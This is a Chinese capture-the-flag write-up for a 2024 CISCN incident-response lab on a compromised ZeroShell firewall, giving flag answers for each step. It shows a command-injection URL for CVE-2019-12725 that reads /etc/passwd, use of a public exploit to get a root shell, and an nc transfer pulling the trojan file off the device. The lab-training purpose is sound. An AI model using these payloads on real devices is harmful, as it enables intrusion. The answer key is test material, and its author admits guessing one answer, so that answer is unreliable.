背景:
小路是一名实习生,接替公司前任网管的工作,一天发现公司网络出口出现了异常的通信,现需要通过回溯出口流量对异常点位(防火墙)进行定位,并确定异常的设备。然后进行深度取证检查(需要获取root权限)。现在需要你从网络攻击数据包中找出漏洞攻击的会话,分析会话编写exp或数据包重放获取防火墙设备管理员权限,查找防火墙设备上安装的木马,然后分析木马外联地址和通信密钥以及木马启动项位置。
文件名:2e9c01da1d333cb8840968689ed3bc57.7z
文件大小:270.1m
下载链接1:https://pan.baidu.com/s/1N58ui-5Ll4Zk7Ys4SUGFvw 提取码:GAME
下载链接2:https://drive.google.com/file/d/19VKjCBaF_X2VvexHGwS__TRhnS39njVT/view
解压密码:11b0526b-9cfb-4ac4-8a75-10ad9097b7ce
来源:长城杯&CISCN官网
1.从数据包中找出攻击者利用漏洞开展攻击的会话(攻击者执行了一条命令),写出该会话中设置的flag, 结果提交形式:flag{xxxxxxxxx}
过滤http,题目说执行了命令, 搜索关键词 exec
http contains "exec"
优先看请求包
追踪tcp流,在referer处发现可以字符串
base64解码获取flag
flag{6C2E38DA-D8E4-8D84-4A4F-E2ABD07A1F3A}
2.通过漏洞利用获取设备控制权限,然后查找设备上的flag文件,提取flag文件内容,结果提交形式:flag{xxxxxxxxxx}
搭建好环境后,直接用Nuclei扫
┌──(root㉿kali)-[~/Desktop/应急响应/2024-CISCN-zeroshell]
└─# nuclei -u 61.139.2.100
WARNING:(ast) sonic only supports go1.17~1.23, but your environment is not suitable
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.3.9
projectdiscovery.io
[INF] Current nuclei version: v3.3.9 (outdated)
[INF] Current nuclei-templates version: v10.2.1 (latest)
[WRN] Scan results upload to cloud is disabled.
[INF] New templates added in latest release: 42
[INF] Templates loaded for current scan: 7944
[WRN] Loading 198 unsigned templates for scan. Use with caution.
[INF] Executing 7746 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[INF] Running httpx on input host
[INF] Found 1 URL from httpx
[INF] Templates clustered: 1737 (Reduced 1633 Requests)
[INF] Using Interactsh Server: oast.pro
[robots-txt-endpoint] [http] [info] https://61.139.2.100/robots.txt
[options-method] [http] [info] https://61.139.2.100 ["GET,HEAD,POST,OPTIONS"]
[CVE-2019-12725] [http] [critical] https://61.139.2.100/cgi-bin/kerbynet?Action=StartSessionSubmit&User='%0acat%20/etc/passwd%0a'&PW
[ssl-issuer] [ssl] [info] 61.139.2.100:443 ["example"]
[self-signed-ssl] [ssl] [low] 61.139.2.100:443
[ssl-dns-names] [ssl] [info] 61.139.2.100:443 ["zeroshell.example.com"]
[untrusted-root-certificate] [ssl] [low] 61.139.2.100:443
可以发现有一个CVE-2019-12725
网上找一个payload进行利用
GitHub - nowindows9/CVE-2019-12725-modified-exp
┌──(root㉿kali)-[~/Desktop/应急响应/2024-CISCN-zeroshell/CVE-2019-12725-modified-exp]
└─# python CVE-2019-12725.py -u http://61.139.2.100
2025-05-18 08:52:58,479 - INFO - ZeroShell 3.9.0 Remote Command Execution
2025-05-18 08:52:58,479 - INFO - Successfully connected to target
$ whoami
root
root
直接find flag
$ find / -name flag
/DB/_DB.001/flag
/Database/flag
/DB/_DB.001/flag
/Database/flag
$ cat /DB/_DB.001/flag
c6045425-6e6e-41d0-be09-95682a4f65c4
c6045425-6e6e-41d0-be09-95682a4f65c4
3.找出受控机防火墙设备中驻留木马的外联域名或IP地址,结果提交形式:flag{xxxx},如flag{www.abc.com} 或 flag{16.122.33.44}
netstat -a
查看网络连接
可以发现这个 202.115.89.103
十分可疑
flag{202.115.89.103}
微步扫了一下,直接识别出来了,哈哈
4.请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径
然后去看这个进程对应的可执行文件即可
ls -l /proc/17515/
这里我环境有问题。进程已经不在了。所以看不到了。
这是能看到的情况,可以看到指向了 .nginx
flag{.nginx}
5.请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥,结果提交形式:flag{xxxx}
把文件下载下来
直接用Nc传即可
nc -lvp 9999 >.nginx
nc 61.139.2.3 9999 < /tmp/.nginx
ida打开反编译,感觉这个就像是密钥,而且正好是16位
由于本人不会逆向,只能瞎蒙了
flag{11223344qweasdzxc}
6.请写出驻留木马的启动项,注意写出启动文件的完整路径。结果提交形式:flag{xxxx},如flag{/a/b/c}
这里也是上面第四题中可以看到有一个目录 /Database/var/register/system/startup/scripts/nat
flag{/Database/var/register/system/startup/scripts/nat/File}
但是正确的flag要去掉前面的 /Database
flag{/var/register/system/startup/scripts/nat/File}